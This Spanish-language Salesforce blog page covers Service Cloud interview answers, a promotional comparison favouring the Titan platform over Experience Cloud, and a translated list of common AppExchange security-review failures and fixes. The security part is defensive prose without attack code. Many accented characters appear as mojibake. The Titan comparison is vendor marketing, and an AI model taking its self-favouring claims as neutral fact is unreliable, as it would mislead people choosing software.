  • Cuando es necesario un c√≥digo personalizado, es vital seguir las mejores pr√°cticas para la masificaci√≥n y las consultas SOQL eficientes. Finalmente, el monitoreo a trav√©s del Optimizador, Health Check y otras herramientas de Salesforce puede ayudar a identificar y mitigar problemas de rendimiento de manera proactiva.

10. ¬ŅC√≥mo ha utilizado Service Cloud para mejorar la retenci√≥n de clientes y reducir las tasas de abandono?

En Service Cloud, la retención de clientes se puede mejorar significativamente utilizando las sólidas funciones de servicio al cliente de la plataforma. Por ejemplo, aprovecho las capacidades de análisis e informes de Service Cloud para realizar un seguimiento de las puntuaciones de satisfacción del cliente e identificar problemas comunes que provocan la insatisfacción del cliente. Al integrar los comentarios directamente en el sistema de gestión de casos, los agentes pueden abordar las inquietudes de manera proactiva antes de que se intensifiquen, lo que impacta directamente en la satisfacción y retención del cliente. Además, características como la comunicación personalizada con el cliente, artículos de conocimiento para el autoservicio y la resolución eficiente de casos a través del enrutamiento y escalamiento automatizados de casos ayudan a mantener una experiencia positiva para el cliente, reduciendo así la deserción.

11. ¬ŅHa trabajado con la funcionalidad Live Agent de Service Cloud? ¬ŅC√≥mo ha utilizado esta tecnolog√≠a para mejorar las experiencias de atenci√≥n al cliente?

Sí, utilicé Live Agent dentro de Service Cloud para mejorar el soporte que reciben los clientes en tiempo real. Al integrar Live Agent, los clientes pueden chatear instantáneamente con agentes de soporte, lo que reduce los tiempos de espera y mejora la satisfacción general. Descubrí que incorporar el chat de Live Agent en sitios web y aplicaciones móviles donde los clientes son más activos reduce significativamente la barrera para acceder al soporte.

12. ¬ŅPuede describir c√≥mo dise√Īar√≠a una soluci√≥n de Service Cloud que incorpore el enrutamiento automatizado de casos al agente apropiado seg√ļn el problema del cliente y el conjunto de habilidades del agente?

Para lograr esto, aprovechar√≠amos la funci√≥n OmniCanal, que permite enrutar los casos seg√ļn el conjunto de habilidades, la disponibilidad y la carga de trabajo del agente.

  1. Comenzaría por definir varios conjuntos de habilidades de agentes dentro del sistema y asociaría estas habilidades con los agentes correspondientes.
  2. Luego, establec√≠a configuraciones de enrutamiento, donde los casos entrantes se eval√ļan seg√ļn criterios predefinidos relacionados con el problema del cliente y luego se los relaciona con un agente que posee el conjunto de habilidades requerido.

13. ¬ŅC√≥mo abordar√≠a el dise√Īo de una soluci√≥n de Service Cloud que pueda manejar grandes vol√ļmenes de casos manteniendo tiempos de respuesta consistentes y niveles de satisfacci√≥n del cliente?

  • Primero, implementar√≠a reglas de asignaci√≥n de casos para automatizar la distribuci√≥n de casos a los agentes o colas correctos.
  • Luego, utilizar√≠a la funci√≥n de reglas de escalamiento de casos de Service Cloud para priorizar casos urgentes o de alto impacto.
  • Para mantener tiempos de respuesta constantes, se pueden utilizar funciones como reglas de respuesta autom√°tica para reconocer inmediatamente los env√≠os de casos.
  • Adem√°s, integrar√≠a una base de conocimientos integral para facilitar las opciones de autoservicio, reduciendo as√≠ la carga de casos para los agentes.

50% Me gusta VS
50% No me gusta

Seguir leyendo

Las Mejores Alternativas a Salesforce Experience Cloud

Las Mejores Alternativas a Salesforce Experience Cloud

Última actualización el 22 de septiembre de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • ¬ŅCu√°les son las mejores alternativas a Experience Cloud del mercado? ¬ŅY es posible encontrar una herramienta sin c√≥digo que le permita crear portales y aplicaciones totalmente personalizables?

Objetivos:

Después de leer este blog, tendrás:

  • Comprensi√≥n de Salesforce Experience Cloud, incluidas sus fortalezas y debilidades.
  • Conocimiento de los pros y los contras de utilizar desarrollo personalizado para crear portales y aplicaciones web.
  • Una introducci√≥n a Titan Web, con una explicaci√≥n de c√≥mo esta herramienta de c√≥digo cero puede brindarle la libertad de crear cualquier aplicaci√≥n web o portal que desee.

El director de ventas Eric Brown se acercó a Isabella Stewart , administradora de Salesforce en Gurukul On Cloud (GoC). Eric quiere un sistema totalmente digitalizado para gestionar los procesos internos de recursos humanos. La directora de recursos humanos y su equipo están muy ocupados utilizando procesos manuales y parcialmente digitalizados para contratar, gestionar nóminas y cuidar el bienestar de los empleados. ¡Asegurarse de que todo el papeleo y la administración estén actualizados es una pérdida de hasta 12 horas cada semana! Está empezando a ser abrumador.

La empresa quiere un portal para empleados rentable y totalmente personalizable, integrado con Salesforce, que no requiera codificaci√≥n ni conocimientos t√©cnicos especiales para su implementaci√≥n. Saben que Salesforce Experience Cloud es una posible soluci√≥n, pero tambi√©n les preocupa que sea costoso y no lo suficientemente flexible para sus necesidades. Entonces, ¬Ņcu√°les son las alternativas de Experience Cloud ?

Experiencia en la nube

Salesforce Experience Cloud, anteriormente conocida como Salesforce Community, se introdujo en 2013 como una plataforma para crear comunidades en l√≠nea de marca. A lo largo de los a√Īos, Salesforce Experience Cloud evolucion√≥ con actualizaciones y mejoras. Hoy en d√≠a, sirve como una soluci√≥n integral para crear portales atractivos, aplicaciones web, comunidades y experiencias de autoservicio, lo que permite a las organizaciones ofrecer interacciones fluidas e impulsar el compromiso de clientes, socios y empleados.

La creación de aplicaciones web y portales de autoservicio con Experience Cloud puede mejorar la experiencia de sus empleados en el lugar de trabajo y aliviar la presión de su departamento de recursos humanos. Un portal de autoservicio o una aplicación web creada con Experience Cloud proporciona a los empleados acceso directo a su información personal y profesional, lo que facilita la actualización de información y registros en cualquier momento o lugar.

Echemos un vistazo más de cerca a algunas de las ventajas y desventajas de utilizar Experience Cloud para crear portales para su organización.

Las mayores ventajas de Experience Cloud:

  • Plantillas listas para usar para impulsar su implementaci√≥n
  • Soluciones Lightning Bolt disponibles de forma gratuita o compradas en Salesforce AppExchange
  • Acceso completo a los datos de Customer 360 guardados en Salesforce
  • Salesforce Experience Cloud funciona a trav√©s de un software intuitivo de arrastrar y soltar, por lo que no es necesario tener ninguna experiencia t√©cnica especial ni conocimientos de codificaci√≥n.
  • Dado que Experience Cloud es nativo de Salesforce, no es necesario realizar ning√ļn trabajo de integraci√≥n adicional. El software ya habla el idioma de los administradores de Salesforce y tiene la interfaz de usuario con la que estar√≠an familiarizados.
  • Puedes crear p√°ginas p√ļblicas y privadas. La ventaja de esto es que s√≥lo los usuarios con los permisos de acceso adecuados podr√°n visitar espacios espec√≠ficos.
  • Las opciones listas para usar de Experience Cloud le brindan G2M r√°pido y lo m√°s probable es que pueda crear su portal o sitio en uno o dos d√≠as.
  • Tambi√©n tiene la opci√≥n de dise√Īar su portal o sitio web de la manera que desee utilizando im√°genes y colores personalizados para que coincidan con la apariencia de su marca.
  • Listo para dispositivos m√≥viles

Contras de Experience Cloud:

  • Las opciones listas para usar no le brindan mucha flexibilidad para personalizar y ajustar el dise√Īo de su p√°gina para satisfacer sus necesidades.
  • Experience Cloud es algo limitado desde la perspectiva de la experiencia del usuario; por ejemplo, no puede utilizar elementos repetidos, edici√≥n en l√≠nea de tablas, pantallas modales y otros elementos atractivos. Por ejemplo, es posible que desee crear un elemento que abra la biblioteca de c√°maras del usuario al hacer clic en √©l, pero con Salesforce Experience Cloud esto es imposible.
  • Salesforce Experience Cloud es definitivamente caro, por lo que si desea optar por esta soluci√≥n, prep√°rese para pagar
  • No se puede diferenciar entre la experiencia del usuario de escritorio y m√≥vil usando opciones listas para usar. Para ello es necesario recurrir al desarrollo personalizado.
  • Sin validaciones de entrada en tiempo real. Primero debes hacer clic en el bot√≥n ‚ÄúGuardar‚ÄĚ.
  • Las integraciones fuera de Salesforce son tareas complejas y requieren un desarrollo extenso
  • Hay una cantidad limitada de plantillas disponibles y estas solo cubren casos de uso espec√≠ficos. Esto significa que es posible que no encuentre la plantilla adecuada para las necesidades de su negocio.

Ejemplo de plantillas de Salesforce Experience Cloud a continuación. Crédito: https://www.salesforce.com/products/experience-cloud/features/templates/

¬ŅPuede el desarrollo personalizado superar las limitaciones de Experience Cloud?

Aprovechar los recursos del desarrollo personalizado es otra forma de crear un portal o sitio web que se adapte a las necesidades de su negocio. Y en muchos sentidos, esta opción le ayuda a superar las limitaciones de Experience Cloud. Estas son algunas de las principales razones para utilizar el desarrollo personalizado, así como sus inconvenientes:

Ventajas del desarrollo personalizado:

  • Lo bueno de utilizar el desarrollo personalizado para crear sus aplicaciones y portales es que puede hacer lo que quiera con su lienzo en blanco, por ejemplo, integrarlo con m√ļltiples sistemas externos a Salesforce.
  • Puede emplear desarrolladores para crear cualquier UX que desee, de modo que no est√© limitado a Salesforce UX al determinar la experiencia que tienen los clientes cuando visitan su sitio.
  • Puedes crear dise√Īos din√°micos para cualquier dispositivo, por ejemplo, port√°til o m√≥vil, sin restricciones.
  • Su portal o sitio puede personalizarse para cualquier caso de uso que se le ocurra. ¬°Si puedes so√Īarlo puedes hacerlo!
  • Proporciona mayor control y propiedad: con un portal o sitio web de desarrollo propio, las organizaciones tienen total propiedad y control sobre la propiedad intelectual, el c√≥digo fuente y las mejoras futuras.

El desarrollo personalizado ofrece la gran ventaja de brindarle libertad absoluta para crear el portal de sus sue√Īos sin barreras, restricciones ni compromisos. Pero este m√©todo no est√° exento de desventajas. Vea a continuaci√≥n algunos de los principales puntos d√©biles:

Desventajas del desarrollo personalizado:

  • Falta de experiencia t√©cnica: desarrollar un portal o una aplicaci√≥n web requiere habilidades y recursos t√©cnicos especializados
  • Limitaciones de tiempo y recursos: crear una aplicaci√≥n o un portal web puede ser un proceso que requiere mucho tiempo y una inversi√≥n significativa.
  • La salida al mercado puede verse seriamente retrasada, lo que podr√≠a afectar negativamente a sus objetivos comerciales.
  • R√°pidos avances tecnol√≥gicos: el panorama tecnol√≥gico evoluciona continuamente y peri√≥dicamente surgen nuevas caracter√≠sticas, marcos y plataformas. Desarrollar una aplicaci√≥n web o un portal internamente requiere mantenerse actualizado con las √ļltimas tecnolog√≠as y mejores pr√°cticas.
  • Desaf√≠os de mantenimiento y soporte: una vez que se desarrolla un portal de autoservicio o una aplicaci√≥n web, el mantenimiento y el soporte continuos son esenciales para su buen funcionamiento.
  • B√°sicamente, depender√° de los recursos de desarrollo y se ver√° paralizado cuando desee realizar actualizaciones simples. ¬°No suena divertido!
  • Problemas de integraci√≥n: desarrollar una aplicaci√≥n web o un portal internamente puede plantear conflictos de integraci√≥n con sistemas, bases de datos o servicios de terceros existentes.
  • Consideraciones de seguridad y cumplimiento: crear una aplicaci√≥n o un portal seguro implica implementar medidas de seguridad s√≥lidas y garantizar el cumplimiento de las normas de protecci√≥n de datos.
  • Centrarse en las competencias b√°sicas: las organizaciones deben evaluar si el desarrollo de una aplicaci√≥n o portal se alinea con sus competencias b√°sicas y prioridades estrat√©gicas.
  • ¬°Dinero dinero dinero! Esta es definitivamente tu opci√≥n m√°s cara, as√≠ que prep√°rate para acumular una factura.

¡Haciéndolo todo con la plataforma de experiencia digital de Titan!

Titan es una plataforma de experiencia completa que le brinda la libertad de crear sus propios portales, sitios de autoservicio, formularios de Salesforce , encuestas y mucho m√°s. Y es una de las mejores alternativas a Experience Cloud del mercado.

Titan es una plataforma sin c√≥digo con una interfaz intuitiva de arrastrar y soltar que permite a los administradores de Salesforce crear y configurar sitios web potentes para cualquier industria y caso de uso. Entonces, la verdadera pregunta es: ¬Ņc√≥mo se compara Titan con Experience Cloud? ¬ŅTiene tambi√©n ventaja sobre el desarrollo personalizado? A continuaci√≥n, detallamos c√≥mo Titan Web puede permitirle crear sitios web impresionantes y portales personalizados:

Puntos ganadores de Tit√°n:

  • Plataforma de c√≥digo cero con una interfaz sencilla de arrastrar y soltar, por lo que no necesita gastar dinero en desarrollos costosos
  • Integraci√≥n bidireccional en tiempo real con Salesforce y acceso completo a Customer 360
  • Plantillas listas para usar para acelerar su comercializaci√≥n
  • Experiencia de usuario 100 % flexible por dispositivo para viajes de cliente personalizados
  • Totalmente de marca para que coincida con la apariencia de su organizaci√≥n.
  • El enfoque m√≥vil primero le brinda la capacidad de escalar
  • Totalmente seguro y compatible con los principales marcos regulatorios como GDPR, SOC 2 e HIPAA
  • Cree perfiles personalizados para clientes y socios que sean f√°ciles de implementar
  • Genere documentos y f√≠rmelos desde su aplicaci√≥n o portal
  • Capacidades sin conexi√≥n para que pueda utilizar esta herramienta incluso cuando est√© fuera del alcance de Internet
  • Compatible con m√ļltiples idiomas y monedas
  • Integraciones integradas de terceros
  • Capacidades completas de gesti√≥n de versiones
  • Rentable en comparaci√≥n con la competencia

Ahora, echemos un vistazo a las desventajas de Titan:

  • El tiempo de incorporaci√≥n puede variar entre 4 y 20 horas, seg√ļn la complejidad de su caso de uso.
  • Ocasionalmente, para una l√≥gica o un dise√Īo de dise√Īo muy complejos, una organizaci√≥n necesitar√° agregar c√≥digo JS y/o CSS para ajustarse a sus necesidades.
  • El dominio/subdominio del sitio web est√° limitado a uno por cliente. Se pueden comprar dominios adicionales por un costo adicional

El arma secreta de Titan es su poder para crear aplicaciones web totalmente personalizables sin tener que escribir una sola línea de código. Sin concesiones ni agendas ocultas para que pueda acelerar su comercialización.

Comparación de Experience Cloud frente a la competencia

Arriba, profundizamos en Salesforce Experience Cloud y sus principales alternativas. Pero, ¬Ņcu√°l es el resultado final y qui√©n sale como el verdadero ganador? Eche un vistazo a nuestra tabla comparativa a continuaci√≥n para descubrirlo:

Experiencia en la nube Desarrollo a la medida Plataforma Tit√°n
Costo Medio Muy caro Medio
Hora de comprar Corto Largo Muy corto
Esfuerzo de mantenimiento prolongado Bajo Muy alto Bajo
Recursos necesarios para el proyecto Administrador de SF Desarrolladores Administrador de SF
Flexibilidad de dise√Īo Muy poco Lleno Lleno
Experiencia de usuario Lo mismo que Salesforce. No puedes crear tu propia experiencia de usuario Puedes desarrollar cualquier cosa que puedas so√Īar. Casi todo lo que puedas so√Īar
Marca Sí con temas personalizados Sí Sí con temas personalizados
Integración de Salesforce Sí Requiere desarrollo por integración. Sí
Integraciones de terceros Requiere complementos pagos o desarrollo Requiere complementos pagos o desarrollo Sí
Validaciones de datos en tiempo real No Sí Sí
Flujo de trabajo y automatización Sí No Sí
M√≥vil Listo para dispositivos m√≥viles Dise√Īo completamente din√°mico por dispositivo Dise√Īo completamente din√°mico por dispositivo
Conocimiento de Salesforce Compatible Requiere desarrollo Compatible
Compromiso digital de Salesforce Compatible Requiere desarrollo Compatible

Depende 100% de usted decidir las funciones y capacidades que necesita para crear los sitios web y portales de sus sue√Īos. Pero est√° claro que si est√° buscando una herramienta web sin c√≥digo, ultraflexible y rentable que mejore la experiencia del usuario, Titan es una excelente opci√≥n.

Quizás recuerde que anteriormente en este artículo una empresa estaba buscando una solución flexible y sin código para crear un portal de recursos humanos para los empleados. Eligieron utilizar Titan y estos son los resultados:

  • Los empleados inician sesi√≥n en el portal:
  • Reciben una autenticaci√≥n de dos factores enviada a su correo electr√≥nico para que puedan iniciar sesi√≥n en el portal sin administrar ninguna otra contrase√Īa.
  • Las p√°ginas web y los portales se muestran din√°micamente seg√ļn la autenticaci√≥n del usuario, proporcionando una experiencia de usuario din√°mica con cada clic.
  • Todo est√° construido s√≥lo con herramientas de arrastrar y soltar. No es necesaria ninguna codificaci√≥n, ya que todos los datos fluyen hacia y desde Salesforce en tiempo real.
  • El Portal de Recursos Humanos brinda a los empleados un f√°cil acceso a informaci√≥n personal y profesional, lo que hace que sea muy conveniente actualizar registros y sus propios datos personales:
  • Los formularios digitales personalizados han eliminado los errores de entrada y las imprecisiones de los datos con el precompletado din√°mico utilizando datos de Salesforce.
  • En el pasado, cada vez que un empleado quer√≠a reservar sus d√≠as de vacaciones, ten√≠a que completar un formulario de licencia manual, escanearlo y enviarlo por correo electr√≥nico a Recursos Humanos para su aprobaci√≥n. Ahora simplemente hacen clic en la pesta√Īa de d√≠as de vacaciones para gestionar las solicitudes de licencia.
  • El Portal de Recursos Humanos del Empleado permite a los empleados registrar pedidos de equipos de TI directamente desde sus dispositivos m√≥viles, computadoras port√°tiles y de escritorio.
  • Los empleados pueden presentar solicitudes de gastos de la empresa antes de que se procesen para la n√≥mina y pueden presentar las solicitudes para recibir el pago antes de la fecha l√≠mite de n√≥mina. Esto significa que no hay que esperar a que se paguen las reclamaciones de gastos.
  • Incluso hay un Centro de conocimiento donde los empleados pueden obtener respuestas a todas sus preguntas frecuentes y solucionar problemas r√°pidamente:
  • Recursos Humanos ahorra 40 horas al mes en trabajo manual (¬°incluida la n√≥mina!) y los empleados est√°n m√°s comprometidos.
  • La empresa logr√≥ hacer todo esto dentro del presupuesto y en un tiempo r√©cord, sin tener que implementar ning√ļn c√≥digo ni desarrollo personalizado.

Prueba de concepto

Consulte este portal de recursos humanos sin código donde los empleados pueden iniciar sesión y realizar diversas acciones de autoservicio:

[contenido incrustado]

Salesforce Experience Cloud es una solución conocida con un historial decente en permitir a las empresas crear aplicaciones y portales para mejorar la experiencia del cliente. Aun así, no está exento de limitaciones: falta de flexibilidad en lo que respecta a la experiencia del usuario, ninguna opción real para diferenciar entre la experiencia de escritorio y móvil, y dificultad para integrarse con herramientas fuera de Salesforce, ¡por nombrar solo algunas!

Utilizar el desarrollo personalizado para crear su propia aplicaci√≥n o portal personalizado resolver√° la mayor√≠a de los mayores problemas de Experience Cloud. Con el desarrollo personalizado, obtienes total libertad para crear cualquier portal o aplicaci√≥n que puedas so√Īar y obtener dise√Īos din√°micos para cualquier dispositivo. Si bien el desarrollo personalizado mitiga los puntos d√©biles de Experience Cloud, esta soluci√≥n presenta sus propios desaf√≠os, que incluyen trabajo y mantenimiento de desarrollo complicados, gastos adicionales y una comercializaci√≥n m√°s lenta.

Titan gana a lo grande al brindarle lo mejor de ambos mundos: obtiene software de arrastrar y soltar combinado con la libertad y flexibilidad que brinda el desarrollo personalizado. Si está buscando la alternativa líder a Experience Cloud y le gustó lo que leyó, ¡póngase en contacto hoy!

Evaluación formativa

¬ŅQu√© es lo que aprendiste de esta publicaci√≥n? ¬ŅC√≥mo imagina aplicar este nuevo conocimiento en el mundo real? Si√©ntete libre de compartir en los comentarios a continuaci√≥n.

Seguir leyendo

Las 20 vulnerabilidades principales encontradas en la revisi√≥n de seguridad de AppExchange ‚ėĀÔłŹ

Las 20 vulnerabilidades principales encontradas en la revisi√≥n de seguridad de AppExchange ‚ėĀÔłŹ

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

…

Las 20 principales vulnerabilidades encontradas en la revisión de seguridad de AppExchange | Blog de desarrolladores de Salesforce

Se sabe que la revisi√≥n de seguridad de AppExchange es uno de los procesos de revisi√≥n m√°s rigurosos de cualquier mercado de aplicaciones en l√≠nea. Esta estricta reputaci√≥n es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor n√ļmero uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los m√°s altos est√°ndares de seguridad posibles para la protecci√≥n de los datos de los clientes.

Dicho esto, estos estándares pueden representar un desafío importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener éxito, en orden de prevalencia, esta publicación analizará las 20 razones principales por las que los socios no pasan la revisión de seguridad (a partir de 2023). También cubriremos cómo remediar o prevenir estos problemas.

#1 ‚ÄĒ Aplicaci√≥n de CRUD/FLS

¬ŅQu√© es esto?

Las vulnerabilidades de aplicaci√≥n de la seguridad a nivel de objetos y campos (CRUD/FLS) son la raz√≥n principal (por un margen significativo) para no pasar la revisi√≥n de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene alg√ļn c√≥digo de Salesforce, este problema debe ser su prioridad n√ļmero uno a resolver antes de enviarlo para una revisi√≥n de seguridad.

¬ŅC√≥mo puedo abordar esto?

Si, durante su proceso de codificación, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querrá hacer una revisión muy exhaustiva de su código base para asegurarse de que no esté realizar cualquier operación de creación/lectura/actualización/eliminación no marcada en objetos o campos.

El m√©todo preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer a√ļn no lo admiten completamente (al momento de escribir esta publicaci√≥n, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protecci√≥n arrojar√° falsos positivos). Code Analyzer Graph Engine es actualmente la √ļnica herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentaci√≥n para ejecutar un escaneo con Code Analyzer Graph Engine.

Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, m√©todos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensi√≥n PMD para VS Code pueden ser √ļtiles herramientas que puede utilizar para comprobar su c√≥digo base. Puede seguir nuestra gu√≠a para obtener m√°s informaci√≥n sobre c√≥mo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.

El escáner Checkmarx debe utilizarse como verificación final de violaciones de CRUD/FLS. Puede ejecutar este análisis a través del Portal de seguridad para socios .

Obtenga más información sobre la aplicación de CRUD/FLS en Trailhead .

#2 ‚Äď Versi√≥n de software insegura

¬ŅQu√© es esto?

Esto significa que alguna pieza de software (normalmente, una versi√≥n espec√≠fica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayor√≠a de las veces, es porque est√°s usando una versi√≥n desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la m√°s com√ļn), pero tambi√©n podr√≠a ser algo as√≠ como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.

¬ŅC√≥mo puedo abordar esto?

Intente identificar todas las bibliotecas, marcos, software y otras tecnologías que no sean de Salesforce dentro del alcance de su oferta de AppExchange.

Busque cada uno de estos en Snyk (para proyectos de c√≥digo abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas p√ļblicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. Tambi√©n puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su c√≥digo base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.

Nota: En algunos casos, puede agregar documentación de falsos positivos para argumentar que un CVE particular registrado no podría aplicarse a su oferta, ya que quizás no esté utilizando la funcionalidad asociada con ese CVE.

#3 ‚Äď Violaci√≥n al compartir

¬ŅQu√© es esto?

Básicamente, esto significa que tiene clases de Apex en las que no ha agregado explícitamente la palabra clave with sharing al encabezado de la clase, omitiendo así las reglas de uso compartido de una organización.

¬ŅC√≥mo puedo abordar esto?

Simplemente verifique todas sus clases de Apex y aseg√ļrese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicaci√≥n a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede a√ļn m√°s claro).

Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.

Obtenga más información sobre cómo compartir el cumplimiento a través de Trailhead .

#4: Almacenamiento inseguro de datos confidenciales

¬ŅQu√© es esto?

Los secretos no deben estar codificados en el código fuente. Aunque el código puede estar contenido en un paquete administrado donde el código está oculto para los clientes, todavía existen razones por las que esta es una práctica insegura, entre ellas:

  • El cliente debe tener control sobre sus secretos y claves y, en muchos casos, debe poder cambiarlos o actualizarlos.
  • Los secretos pueden quedar expuestos en registros o mensajes de error
  • Si un secreto o clave caduca, el cliente no podr√° actualizarlo por s√≠ mismo.

¬ŅC√≥mo puedo abordar esto?

Aseg√ļrese de que no haya secretos codificados en el c√≥digo fuente, incluso si es un paquete administrado. Aseg√ļrese de que todos los secretos se almacenen de una de las siguientes maneras:

  • Campos de metadatos personalizados protegidos (para secretos propiedad de socios)
  • Configuraciones personalizadas protegidas (para secretos propiedad del suscriptor/cliente)
  • Credenciales con nombre (esto generalmente no se recomienda, pero si tiene un caso de uso espec√≠fico que lo requiera, es posible que se permita caso por caso)
  • Cifrado y almacenado en objetos personalizados con la clave de cifrado almacenada en una configuraci√≥n personalizada protegida o en un campo de metadatos personalizados ocultos

Obtenga más información sobre el almacenamiento seguro de secretos en Trailhead .

#5 ‚ÄĒ Configuraci√≥n TLS/SSL

¬ŅQu√© es esto?

Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es v√°lido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si est√°n en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.

¬ŅC√≥mo puedo abordar esto?

Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.

Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisión de seguridad ejecutará este análisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su solución. Si sus terminales no reciben una calificación A por cumplimiento de SSL/TLS, su revisión de seguridad no será aprobada.

Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.

Puede encontrar más detalles sobre los requisitos de TLS en las notas de la versión .

#6 ‚ÄĒ Informaci√≥n confidencial en depuraci√≥n

¬ŅQu√© es esto?

Este tipo de vulnerabilidad describe situaciones en las que se filtra información confidencial, como secretos de aplicaciones, datos del sistema o información de depuración demasiado detallada, a través de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado está habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisión de seguridad de AppExchange.

¬ŅC√≥mo puedo abordar esto?

En su paquete de Salesforce, aseg√ļrese de buscar en su c√≥digo fuente todas las declaraciones de depuraci√≥n del paquete para asegurarse de que no registren informaci√≥n confidencial o secretos.

Aseg√ļrese de que los c√≥digos de error y los mensajes de error en toda su soluci√≥n tengan un nivel de informaci√≥n apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deber√≠an ver seguimientos de pila completos ni informaci√≥n de depuraci√≥n detallada. De manera similar, aseg√ļrese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.

Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los escáneres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP también pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.

Obtenga m√°s informaci√≥n sobre c√≥mo verificar los seguimientos de la pila e informaci√≥n detallada sobre las excepciones en el n√ļmero 13.

#7 – CSRF

¬ŅQu√© es esto?

La falsificaci√≥n de solicitudes entre sitios (CSRF) es un tipo de ataque que enga√Īa a una v√≠ctima para que ejecute acciones no deseadas en una aplicaci√≥n web en la que est√° autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente da√Īinas, como cambiar direcciones de correo electr√≥nico y contrase√Īas, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.

En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protección mientras se utilizan controladores y métodos estándar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios métodos de acción.

¬ŅC√≥mo puedo abordar esto?

En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores √ļnicos y espec√≠ficos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Adem√°s, deben adoptar la pr√°ctica de cookies del mismo sitio, que impide que el navegador env√≠e la cookie junto con solicitudes entre sitios, mitigando as√≠ los riesgos de CSRF.

Para p√°ginas de Visualforce:

  • Al crear p√°ginas de Visualforce, evite utilizar solicitudes HTTP GET que cambien de estado; use POST o PUT para cambios de estado en su lugar
  • No ejecute acciones autom√°ticas ni cambie el estado (por ejemplo, operaciones DML) al cargar la p√°gina.
  • Otra t√©cnica de mitigaci√≥n implica agregar una p√°gina de confirmaci√≥n intermedia antes de realizar la acci√≥n, donde el usuario puede confirmar que ten√≠a la intenci√≥n de realizar esa acci√≥n.

Para componentes Lightning:

  • De manera similar a las p√°ginas de Visualforce, evite cambiar el estado o ejecutar acciones al cargar un componente Lightning, mediante enlaces como init (para Aura) ,connectedCallback , renderedCallback o constructor .

Al realizar llamadas API:

  • Para las API que no son de Salesforce, es posible que tambi√©n desee agregar su propio token CSRF.

CSRF es uno de los tipos de problemas de seguridad más complicados, por lo que vale la pena invertir en aprender más sobre él en profundidad. Para los paquetes de Salesforce, existe excelente documentación para desarrolladores y un módulo Trailhead como referencia.

Para otros tipos de aplicaciones web, es posible que desees consultar la documentación de OWASP .

Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.

N.¬ļ 8: secuencias de comandos entre sitios (XSS) almacenadas y reflejadas

¬ŅQu√© es esto?

Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyecci√≥n en los que se insertan secuencias de comandos da√Īinas en sitios web confiables. Ocurren cuando un atacante explota una aplicaci√≥n web para enviar c√≥digo malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.

En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesión u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la página.

